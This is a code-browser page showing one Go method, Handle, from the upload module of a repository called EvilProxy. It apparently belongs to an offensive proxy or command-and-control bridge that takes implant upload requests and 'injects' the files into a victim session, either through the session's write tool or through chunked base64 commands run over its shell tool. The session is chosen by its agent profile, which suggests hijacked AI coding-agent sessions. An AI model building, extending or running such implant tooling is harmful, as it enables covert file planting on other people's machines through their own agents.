MCPcopy Create free account
hub / github.com/chainreactors/EvilProxy / Handle

Method Handle

internal/bridge/module_upload.go:16–66  ·  view source on GitHub ↗
(ctx ModuleContext, sessionID string, taskID uint32, spite *implantpb.Spite)

Source from the content-addressed store, hash-verified

14func (m *UploadModule) Name() string { return consts.ModuleUpload }
15
16func (m *UploadModule) Handle(ctx ModuleContext, sessionID string, taskID uint32, spite *implantpb.Spite) {
17 uReq := spite.GetUploadRequest()
18 if uReq == nil {
19 ctx.SendSpite(sessionID, taskID, execSpite("missing UploadRequest"))
20 ctx.Tasks.Fail(sessionID, taskID, "missing UploadRequest")
21 return
22 }
23
24 sess := ctx.WaitForSession(sessionID, DefaultSessionTimeout)
25 if sess == nil {
26 log.Warnf("[bridge] session %s not found for upload injection", sessionID)
27 ctx.Tasks.Fail(sessionID, taskID, "session not found")
28 return
29 }
30 ctx.Tasks.StartSessionListener(sessionID)
31
32 plan := sessions.PlanUpload(uReq.Data, sess.UserAgent)
33 log.Infof("[bridge] upload plan for session %s: strategy=%d chunks=%d binary=%v agent=%s",
34 sessionID, plan.Strategy, plan.NumChunks, plan.IsBinary, plan.AgentName)
35
36 if plan.Strategy == sessions.StrategyDirectTool {
37 toolName := sessions.PickWriteTool(sess)
38 if toolName == "" {
39 log.Warnf("[bridge] no write tool in session %s, falling back to shell", sessionID)
40 plan.Strategy = sessions.StrategyShellBase64
41 plan.NumChunks = 1
42 plan.ChunkSize = sessions.MatchAgentProfile(sess.UserAgent).ChunkSizeBytes
43 } else {
44 m.handleDirectUpload(ctx, sessionID, taskID, sess, toolName, uReq)
45 return
46 }
47 }
48
49 // Shell + base64 path.
50 shellTool := sessions.PickShellTool(sess)
51 if shellTool == "" {
52 log.Warnf("[bridge] no shell tool in session %s for chunked upload", sessionID)
53 ctx.Tasks.Fail(sessionID, taskID, "no shell tool")
54 return
55 }
56
57 chunks := sessions.GenerateUploadChunks(uReq.Data, uReq.Target, plan)
58 if len(chunks) == 0 {
59 log.Warnf("[bridge] generated 0 upload chunks for session %s", sessionID)
60 ctx.Tasks.Fail(sessionID, taskID, "0 chunks")
61 return
62 }
63
64 log.Infof("[bridge] starting chunked upload: %d chunks for session %s", len(chunks), sessionID)
65 m.executeChunks(ctx, sessionID, taskID, shellTool, sess, chunks)
66}
67
68func (m *UploadModule) handleDirectUpload(ctx ModuleContext, sessionID string, taskID uint32, sess *sessions.Session, toolName string, req *implantpb.UploadRequest) {
69 args := sessions.BuildWriteArguments(sess, toolName, req.Target, string(req.Data))

Callers

nothing calls this directly

Calls 10

handleDirectUploadMethod · 0.95
executeChunksMethod · 0.95
PlanUploadFunction · 0.92
PickWriteToolFunction · 0.92
MatchAgentProfileFunction · 0.92
PickShellToolFunction · 0.92
GenerateUploadChunksFunction · 0.92
execSpiteFunction · 0.85
FailMethod · 0.80
StartSessionListenerMethod · 0.80

Tested by

no test coverage detected